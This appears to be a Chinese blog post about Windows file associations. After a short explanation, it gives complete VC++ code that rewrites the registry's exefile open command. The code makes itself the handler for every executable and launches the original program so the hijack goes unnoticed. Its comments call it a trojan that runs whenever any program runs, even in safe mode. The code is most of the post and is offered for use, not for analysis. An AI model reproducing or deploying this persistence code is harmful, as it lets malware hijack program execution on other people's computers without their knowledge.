zoukankan      html  css  js  c++  java
  • VC++实现文件关联

    文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系。举个例子来说,位图文件(BMP文件)在Windows中的默认关联程序是“画图”,如果将其默认关联改为用ACDSee程序来打开,那么ACDSee就成了它的默认关联程序。
    一个文件可以与多个应用程序发生关联。我们可以利用文件的“打开方式”进行关联选择。我们也可以删除因误操作而引起的错误文件关联,可以根据需要新建文件关联,在有些软件中还可以恢复文件的关联。
    文件关联也是很多流行病毒、木马经常利用的隐藏和自动运行手段。




    #include <stdio.h>
    #include <windows.h>
    int main(int argc,char *argv[])
    {
    MessageBox(NULL,"Hello",NULL,MB_OK);
    char temp[256];
    memset(temp,0,256);
    if(argc!=1){
    int length =strlen(argv[1]);
    char *ch=(char *)malloc(length);
    strcpy(ch,argv[1]);
    for(int i=0;i<length;i++,ch++)
    {
    if(*ch=='\\')
    strncat(temp,"\\\\",2);
    else strncat(temp,ch,1);
    }
    }//上面的函数是把字符串中所有的"\"变为"\\"
    char str[]="\"%1\" %*";  
    RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)str,strlen(str)+1);
    // 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
    ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序
    //在程序执行完成后,再把注册表改为我们要启动的木马程序的
    TCHAR filename[256];
    // 得到程序全路径名
    GetModuleFileName( NULL, filename, 255 );
    strcat(filename," \"%1\" %*");
    RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
    //经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。
      
    return 0;
    }
    


  • 相关阅读:
    JLOI2014 聪明的燕姿【搜索-细节】
    JOI2014 バス通学【思维】
    【线段树】USACO 08FEB Hotel G
    USACO20FEB Equilateral Triangles P【思维-曼哈顿距离-切比雪夫距离】
    USACO 2019DEC Milk Visits
    【规律】ABC179 E Sequence Sum
    【前缀和优化dp】ABC179 D Leaping Tak
    SPOJ2916 GSS5-Can you answer these queries V【线段树】
    SPOJ1557 GSS2-Can you answer these queries II【线段树】
    推荐系统之余弦相似度的Spark实现
  • 原文地址:https://www.cnblogs.com/new0801/p/6177620.html
Copyright © 2011-2022 走看看